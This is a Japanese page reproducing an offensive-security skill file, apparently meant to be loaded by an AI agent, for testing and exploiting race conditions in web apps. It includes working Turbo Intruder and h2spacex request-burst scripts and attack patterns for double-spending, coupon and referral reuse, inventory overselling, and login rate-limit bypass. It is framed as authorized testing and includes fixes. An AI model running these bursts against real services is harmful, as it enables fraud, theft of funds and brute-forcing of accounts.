race-condition
競合状態(Race Condition)およびTOCTOU(Time-of-Check to Time-of-Use)の脆弱性をWebアプリでテストするスキル。一回限りの操作・並列HTTPリクエストの悪用・レートリミット回避・Turbo Intruderゲート・HTTP/2シングルパケット攻撃・CWE-362に該当する同期処理の欠陥を検証する際に使用します。
description の原文を見る
>- Race condition and TOCTOU testing for web apps. Use when testing one-time operations, concurrent HTTP abuse, rate-limit bypass, Turbo Intruder gates, HTTP/2 single-packet attacks, and CWE-362-style synchronization gaps.
SKILL.md 本文
SKILL: 競合状態 — テストと悪用プレイブック
AI ロード命令: 競合状態を認可/状態整合性の問題として扱う: 非アトミックな読み取り後に書き込みにより、複数のリクエストが古い状態を観察できる。ワンタイムまたは残高のような操作を優先。平行トランスポート(HTTP/1.1 ラストバイト同期、HTTP/2 シングルパケット、Turbo Intruder ゲート)とアプリケーション証拠(重複した成功応答、不整合な残高、重複した台帳行)を組み合わせる。認可されたテストのみ。 ルーティングメモ: ビジネスワークフロー、クーポン、在庫、またはワンタイム報酬の場合は、このスキルから始めて、
business-logic-vulnerabilitiesをクロスロードする。
0. クイックスタート — 最初にテストすべきこと
チェックと更新が単一のアトミックデータベース操作ではない可能性が高いエンドポイントを対象にします:
| 優先度 | 操作クラス | パス例 / パラメータ例 |
|---|---|---|
| 1 | ワンタイム利用 / クーポン / ボーナス | redeem, apply_coupon, claim_reward, voucher |
| 2 | 残高 / クォータ / 在庫控除 | transfer, purchase, reserve, inventory |
| 3 | 招待 / 紹介 / サインアップボーナス | invite_accept, referral_claim |
| 4 | パスワード / メール / MFA 検証 | verify_token, confirm_email, reset_password |
| 5 | 強固なキーのないべき等的に見えるAPI | ユーザーごとに1回のみ成功するはずの POST |
最初の動き(概念的):
- プロキシで状態変化リクエストをキャプチャ。
- 20~100コピーをツールが許す限り同時に送信。
- 結果を分類: 予想される成功0/1回対N回の成功または不整合な最終状態。
1. コア概念
1.1 TOCTOU (チェック時刻から使用時刻まで)
スレッド A スレッド B
| |
+-- チェック (リソース OK) |
| +-- チェック (リソース OK) ← 両方とも「OK」を確認
+-- 使用 / 更新 |
| +-- 使用 / 更新 ← 重複した効果
TOCTOU は決定(チェック)と変異(使用)が1つの分割不可能なステップではないことを意味します。
1.2 非アトミックな読み取り後に書き込み
典型的な脆弱な疑似コード流れ:
balance = SELECT balance FROM accounts WHERE id = ?
if balance >= amount:
UPDATE accounts SET balance = balance - ? WHERE id = ?
2つの並行リクエストは if をパスしてから、いずれかの UPDATE がコミットする前に両方とも進行できます。
1.3 データベースレベルと アプリケーションレベルのロッキングギャップ
| レイヤー | 何が問題になるか |
|---|---|
| アプリケーション | インメモリフラグ、キャッシュ、またはセッションが「未使用」と言っているのにDB がすでに更新されている、またはその逆。 |
| ORM / サービス | 2つのインスタンス、分散ロックなし; 各インスタンスが決定を所有していると思っている。 |
| DB | SELECT … FOR UPDATE の欠落、分離レベルの誤り、または複数ステートメント間でのロジック分割がトランザクションなし。 |
| API ゲートウェイ | IP ごとのレート制限はチェック後に増分 — 並行バーストが重複チェックをパス。 |
ヒント: UNIQUE 制約とべき等キーはしばしば脆弱性クラス全体を排除します — アプリが重要なパス上でそれらを強制するかどうかをテストします。
2. 攻撃パターン
2.1 制限超過 (ダブルリディーム / ダブルクレーム)
同じ認証済みリクエストを何度も並行して送信:
POST /api/v1/rewards/claim HTTP/1.1
Host: target.example
Authorization: Bearer <token>
Content-Type: application/json
{"reward_id":"welcome_bonus"}
成功信号: HTTP 200/201 が2回以上、重複した台帳エントリ、またはポリシーが許可する以上の残高。
2.2 同時性によるレート制限バイパス
制限がリクエストごとのチェック済みカウンタとしてアトミック増分なしで実装されている場合:
POST /api/v1/login HTTP/1.1
Host: target.example
Content-Type: application/json
{"email":"victim@example.com","password":"wrong"}
1波でN個の並行試行を発火させて、N個の順序立った試行と比較。
成功信号: ドキュメント上限より多くの失敗が受け入れられた、または1つのウィンドウ内でバーストが完了しても ロックアウトが発動しない。
2.3 マルチステップ悪用 (パイプラインを抜く)
ワークフロー: 作成 → 支払い → 確認。確認が支払い完了に暗号的にバインドされていない場合:
- 同じセッション/アイテムから2つの並行パイプラインを開始。
- チャネル A の支払いがインフライトまたは放棄されているうちに、チャネル B で確認を完了。
成功信号: 一致する支払いなしにアイテムが支払い済み/発送済みとマーク、または状態が逆戻りする。
3. HTTP/1.1 ラストバイト同期
概念: すべてのリクエストをブロック状態で保ち、すべてのソケットが本文の最後のバイト以外の全リクエストを送信するまで待機; 次に最後のバイトを一緒にリリースしてサーバーが密集したクラスターで受信するようにします。
クライアント 1: [ヘッダ + 本文 - 1バイト] ----保持----+
クライアント 2: [ヘッダ + 本文 - 1バイト] ----保持----+--> 最後のバイトを一緒にフラッシュ
クライアント N: [ヘッダ + 本文 - 1バイト] ----保持----+
理由: Repeater への素朴な順序立ったペーストと比較して、コピー間のネットワークジッタを削減。
ツーリング: カスタムスクリプト、一部の Burp 拡張機能、またはTurbo Intruder gate パターン(§5参照)が同期リリースの実用的な代替として機能。
4. HTTP/2 シングルパケット攻撃
概念: 複数の完全な HTTP/2 ストリームをマルチプレックスし、それらのフレームを統合して、すべてのリクエストの最初のバイトが1つの TCP セグメント(または最小限の分離)で NIC を出るようにします。受信側スケジューリングはそれらをサブミリ秒間隔で処理します。
Burp Repeater (最新ワークフロー):
- 複数のタブを開くか、複数のリクエストを選択。
- 利用可能な場合はグループ送信(並行) / シングルパケット攻撃を使用。
- サポートされている場合はターゲットへの HTTP/2 を優先。
[ リクエスト A ストリーム ]
[ リクエスト B ストリーム ] --HTTP/2--> 1バースト --> アプリワーカープール
[ リクエスト C ストリーム ]
なぜ HTTP/1.1 ラストバイト トリックを上回ることが多いのか: ワイヤ上のより密集したアライメント; 接続あたりのシリアライゼーションへの依存が少ない。
5. TURBO INTRUDER テンプレート
リポジトリ: PortSwigger/turbo-intruder (Burp Suite 拡張機能)。
5.1 テンプレート 1 — 同じエンドポイント、ゲートリリース
設定: concurrentConnections=30, requestsPerConnection=30, すべてのスレッドが一緒に発火するためのゲートを使用。
コアパターン(N 回繰り返し、リリース):
for _ in range(N):
engine.queue(request, gate='race1')
engine.openGate('race1')
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False,
engine=Engine.THREADED,
maxRetriesPerRequest=0
)
for i in range(30):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
ヘッダ要件(ログ相関のためキューに登録されたコピーごとに一意; Turbo Intruder ペイロードプレースホルダー):
x-request: %s
Turbo Intruder は ワードリスト(または他のペイロードソース)とペアになっているとき、リクエストごとに %s を置換します — Repeater からTurbo Intruder に送信する前に、ベースリクエストでこのヘッダを保持します。HTTP ではケースインセンシティブ; ログ grep のために一貫した名前を使用します。
5.2 テンプレート 2 — マルチエンドポイント、同じゲート
パターン: target-1 へのPOST(状態変化)と target-2 への多数の GET(読み取り側)を同じゲートでリリースして、TOCTOU ウィンドウ観察を広げます。
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False,
engine=Engine.THREADED,
maxRetriesPerRequest=0
)
engine.queue(post_to_target1, gate='race1')
for _ in range(30):
engine.queue(get_target2, gate='race1')
engine.openGate('race1')
ホスト/パスを調整するには、エンドポイントが異なる場合は RequestEngine インスタンスを複製します(Turbo Intruder は複数のエンジンをサポートします — お使いの Burp バージョンの上流ドキュメントを参照してください)。
6. CVE リファレンス — CVE-2022-4037
CVE-2022-4037 (GitLab CE/EE): 検証済みメールアドレス偽造につながる競合状態とリスク(製品がOAuth ID プロバイダーとして機能する場合) — 第三者アカウントリンケージ/影響シナリオ。CWE-362。HTTP/2 シングルパケットスタイルタイミングで狭いウィンドウで公開研究で実証。
テスター向けの要点: メール検証、OAuth リンケージ、および「所有権確認」フローは、クーポンと残高だけではなく、高価値の競合ターゲットです。
リファレンス(公式/中立):
- NVD — CVE-2022-4037
- GitLab セキュリティ勧告とベンダー CVE JSON(影響を受けるバージョン範囲)
7. ツール
| ツール | 役割 |
|---|---|
| PortSwigger/turbo-intruder | 高並行リプレイ、ゲート、Burp でのスクリプト。 |
| JavanXD/Raceocat | 競合重視の HTTP クライアントパターン(スタックとの互換性を確認)。 |
| nxenon/h2spacex | HTTP/2 低レベル / シングルパケットスタイル実験(責任を持って、認可ターゲットのみで使用)。 |
| Burp Suite — Repeater | マルチリクエスト同期のためのグループ送信(並行) / シングルパケット攻撃。 |
8. 決定木
START: 状態変化API?
|
いいえ -----------+---------- はい
| |
ここで終了 ワンタイム / 残高 / 検証?
|
+-------------------------+-------------------------+
| | |
クーポン型 レート制限 マルチステップ
| | |
同じリクエストで並行 並行対順序立った 並行パイプライン
| | |
重複成功? 制限超過? 状態不一致?
/ \ / \ / \
はい いいえ はい いいえ はい いいえ
| | | | | |
報告 + HTTP/2 試行 報告 + TI ゲート 報告 + さらに掘り下げ
証拠 シングルパケット 証拠 試行 ステップごと
| | | | | |
+----+----+ +----+----+ +----+----+
| | |
ツール選択 ツール選択 ツール選択
v v v
Burp グループ / h2spacex TI ゲート / Raceocat TI + トレース ID
確認方法(証拠チェックリスト):
- 再現可能 — 並行性下での重複成功、不安定な単一リトライアルではない。
- サーバー側 アーティファクト: 2行、2通のメール、2つの付与、または間違った最終残高。
x-request(または類似の)マーカーまたはログ内の一意の本文フィールドと相関(認可環境)。
ルーティング概要: シナリオがビジネスルール、価格設定、またはワークフローバイパスについてさらに多くある場合は、skills/business-logic-vulnerabilities/SKILL.md をロード; このファイルは並行性とトランスポートレイヤー同期に焦点を当てています。
9. HTTP/2 シングルパケット攻撃 — 詳細メカニクス
9.1 TCP Nagle アルゴリズム & フレーム統合
TCP の Nagle アルゴリズム(RFC 896)は小さな書き込みをバッファリングし、より少ないより大きなセグメントに統合します。HTTP/2 クライアントが複数の HEADERS+DATA フレームを迅速に連続でフラッシュせずに書き込むとき、カーネルはそれらを単一の TCP セグメント(MSS まで、典型的には Ethernet では ~1460バイト)に統合します。
アプリケーション層: [ストリーム 1 H+D] [ストリーム 3 H+D] [ストリーム 5 H+D]
↓ TCP Nagle 統合 ↓
TCP セグメント: [ストリーム 1 H+D | ストリーム 3 H+D | ストリーム 5 H+D] ← ワイヤ上の1パケット
TCP_NODELAY無効化(デフォルト) → Nagle アクティブ → 統合が自然に発生TCP_NODELAYが設定されている場合、クライアントはフレームをバッチするためにwritev()/ ギャザー書き込み syscall を使用する必要があります- 実用的な制限:
1460 バイト MSS あたり約 2030 個の小さなリクエスト; これを超えるとパケット間に分割されて同期が劣化
9.2 サーバー側リクエストキュー処理
NIC IRQ → カーネル recv バッファ → HTTP/2 デマルチプレクサ → 並行ディスパッチ
┌─ ストリーム 1 → ワーカースレッド A ─┐
├─ ストリーム 3 → ワーカースレッド B ─┤ サブマイクロ秒間隔
└─ ストリーム 5 → ワーカースレッド C ─┘
- 単一
recv()syscall は全セグメントを返す - HTTP/2 フレームパーサーは同じセグメントからストリームをデマルチプレックス
- ディスパッチャーはアプリケーションワーカープールにファンアウト
最初から最後のリクエストディスパッチギャップ: < 100 μs モダンサーバーで — HTTP/1.1 ラストバイト同期(15 ms ネットワークジッタ)より桁違いに密集。
9.3 HTTP/2 対 HTTP/1.1 ラストバイト比較
| 要因 | HTTP/2 シングルパケット | HTTP/1.1 ラストバイト |
|---|---|---|
| 必要接続 | 1 | N(リクエストあたり1) |
| ワイヤ同期 | 同じ TCP セグメント | N セグメント「同時に」リリース |
| ネットワークジッタ影響 | ゼロ(同じパケット) | 各接続は独立したRTT |
| サーバーディスパッチギャップ | < 100 μs | 典型的には 1~5 ms |
| 実用的制限 | MTU あたり約 20~30 リクエスト | 接続セットアップで制限 |
9.4 h2spacex での実用的な実行
import h2spacex
h2_conn = h2spacex.H2OnTCPSocket(
hostname='target.example.com',
port_number=443
)
headers_list = []
for i in range(20):
headers_list.append([
(':method', 'POST'),
(':path', '/api/v1/rewards/claim'),
(':authority', 'target.example.com'),
(':scheme', 'https'),
('content-type', 'application/json'),
('authorization', 'Bearer TOKEN'),
])
h2_conn.setup_connection()
h2_conn.send_ping_frame()
h2_conn.send_multiple_requests_at_once(
headers_list,
body_list=[b'{"reward_id":"welcome_bonus"}'] * 20
)
responses = h2_conn.read_multiple_responses()
10. データベース分離レベル悪用マトリクス
| 分離レベル | 悪用される現象 | 攻撃ウィンドウ | 典型的な脆弱なパターン |
|---|---|---|---|
| READ UNCOMMITTED | ダーティリード | スレッド B がスレッド A のコミット前の書き込みを読む | SELECT balance がインフライト控除を参照、古いロジックで進行 |
| READ COMMITTED | 非反復可能読み取り(TOCTOU) | 両スレッドが確定した残高を読む、両方とも確認をパス、両方とも控除 | SELECT → アプリ確認 → FOR UPDATE なし UPDATE |
| REPEATABLE READ | ファントムリード | スナップショット分離が並行挿入を隠す; 両スレッドが「クレーム 0」を見て挿入 | INSERT IF NOT EXISTS パターン UNIQUE 制約なし |
| SERIALIZABLE | アドバイザリーロックバイパス | アプリが pg_advisory_lock() / GET_LOCK() を間違ったスコープまたは導出可能キーで使用 | ユーザー入力からロックキー; セッション対トランザクションスコープ不一致 |
READ COMMITTED TOCTOU (本番環境で最も一般的)
-- スレッド A -- スレッド B
SELECT balance FROM accounts SELECT balance FROM accounts
WHERE id=1; -- 100 を返す WHERE id=1; -- 100 を返す
-- アプリ: 100 >= 100 ✓ -- アプリ: 100 >= 100 ✓
UPDATE accounts SET balance = UPDATE accounts SET balance =
balance - 100 WHERE id=1; balance - 100 WHERE id=1;
COMMIT; -- 残高 = 0 COMMIT; -- 残高 = -100 ← ダブルスペンド
修正検証: SELECT ... FOR UPDATE はスレッド A がコミットするまでスレッド B の SELECT をブロックするべき。
REPEATABLE READ ファントム挿入
-- スレッド A (T0 でスナップショット) -- スレッド B (T0 でスナップショット)
SELECT count(*) FROM claims SELECT count(*) FROM claims
WHERE user_id=1 AND coupon='X'; WHERE user_id=1 AND coupon='X';
-- スナップショット内の 0 を返す -- スナップショット内の 0 を返す
INSERT INTO claims ...; INSERT INTO claims ...;
COMMIT; -- 成功 COMMIT; -- 成功 ← 重複クレーム
修正: UNIQUE(user_id, coupon_id) 制約により、1つの INSERT は分離レベルに関係なく重複キーエラーで失敗します。
SERIALIZABLE アドバイザリーロックバイパス
-- アプリケーション意図: クーポンごと1ロック
SELECT pg_advisory_lock(hashtext('coupon_' || $coupon_id));
-- バイパスベクトル:
-- 1. ロックはセッションスコープだがトランザクションがロールバック → ロック永続、次の txn スキップ
-- 2. 異なるコードパスが クレームロジックに到達ロック取得なし
-- 3. 攻撃者が ロック不足の代替 API エンドポイント経由でクレームをトリガー
クイック監査チェックリスト
□ SHOW TRANSACTION ISOLATION LEVEL — データベースは何レベルで実行中?
□ ホットパスは SELECT ... FOR UPDATE または明示的行ロックを使用?
□ チェック後行動シーケンスは単一トランザクション内?
□ UNIQUE 制約は重要な状態テーブルで強制される?
□ マルチインスタンスデプロイ: 分散ロックはあるか(Redis SETNX / Zookeeper)?
11. 制限超過攻撃パターン
11.1 クーポン / プロモコード再利用
対象: POST /api/apply-coupon {"code":"SUMMER50"}
予想: ユーザーごと1利用
攻撃: 20個の並行同一リクエスト
証拠: 複数の 200 応答、最終注文合計 = N × 割引適用
バリエーション: 異なるカートアイテムにまたがる同じクーポン; クーポン適用+チェックアウトを並行(クーポンはチェックアウト時のみ消費)。
11.2 投票 / 評価操作
対象: POST /api/vote {"post_id":123,"direction":"up"}
予想: ユーザーごとポストごと1投票
攻撃: 50個の並行投票リクエスト
証拠: 投票カウント += N、DB が同じユーザー+ポストに複数投票行を表示
11.3 残高ダブルスペンド
対象: POST /api/transfer {"to":"attacker","amount":100}
残高: 正確に 100
攻撃: 2+ 並行転送
証拠: 両方成功、送信者残高がマイナス、受取人が 200 を受け取る
高価値バリエーション: 外部システム(暗号、銀行振込)への引き出し。差し戻し困難。
11.4 在庫オーバーセル
対象: POST /api/purchase {"item_id":"limited_edition","qty":1}
在庫: 残り 1
攻撃: 20個の並行購入リクエスト
証拠: 複数注文作成、在庫カウンターがマイナスに
複合攻撃: カートに追加とチェックアウトは別ステップ、各ステップが独立して在庫をチェック。
11.5 紹介 / サインアップボーナス
対象: POST /api/referral/claim {"code":"REF_ABC"}
予想: 招待ユーザーごと1クレーム
攻撃: 同じセッションから並行クレーム
証拠: 紹介者にボーナスが複数回クレジット
12. シングルパケット マルチエンドポイント攻撃
同じリクエストの N コピーを送信する代わりに、1つの HTTP/2 シングルパケットバーストで異なるエンドポイントへのリクエストを送信。これはチェックと使用パスの両方に同時に当たることで TOCTOU ウィンドウを広げます。
パターン 1: 状態チェック + 状態変異
単一 TCP セグメント:
ストリーム 1: GET /api/balance ← 事前状態を探索
ストリーム 3: POST /api/transfer ← 変異
ストリーム 5: POST /api/transfer ← 変異(重複)
ストリーム 7: GET /api/balance ← 事後状態を探索
ストリーム 1 とストリーム 7 の間の残高不整合は競合ウィンドウがヒットしたことを確認します。
パターン 2: リソース横断競合
単一 TCP セグメント:
ストリーム 1: POST /api/coupon/apply ← 割引を適用
ストリーム 3: POST /api/order/checkout ← 注文を確定
クーポン適用とチェックアウトが価格を独立してチェックする場合、割引はチェックアウトが価格をロックした後に適用される可能性があります。
パターン 3: 認可検証 + 特権操作
単一 TCP セグメント:
ストリーム 1: POST /api/email/verify?token=TOKEN ← メール検証
ストリーム 3: POST /api/account/upgrade ← 確認済みメール必須
アップグレードは検証が処理中だがまだコミットされていない狭いウィンドウで成功する可能性があります。
実用的なセットアップ
Burp Repeater: 異なるパスを対象とするリクエストを同じグループに追加 → 「グループ送信(シングルパケット)」。
headers_balance = [(':method','GET'), (':path','/api/balance'), ...]
headers_transfer = [(':method','POST'), (':path','/api/transfer'), ...]
all_headers = [headers_balance] + [headers_transfer]*5 + [headers_balance]
all_bodies = [b''] + [b'{"to":"attacker","amount":100}']*5 + [b'']
h2_conn.send_multiple_requests_at_once(all_headers, body_list=all_bodies)
関連
- business-logic-vulnerabilities — ワークフロー、クーポン乱用、ロジック優先チェックリスト (
../business-logic-vulnerabilities/SKILL.md)。
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
doubt-driven-development
重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。
apprun-skills
TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。
desloppify
コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。
debugging-and-error-recovery
テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。
test-driven-development
テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。
incremental-implementation
変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。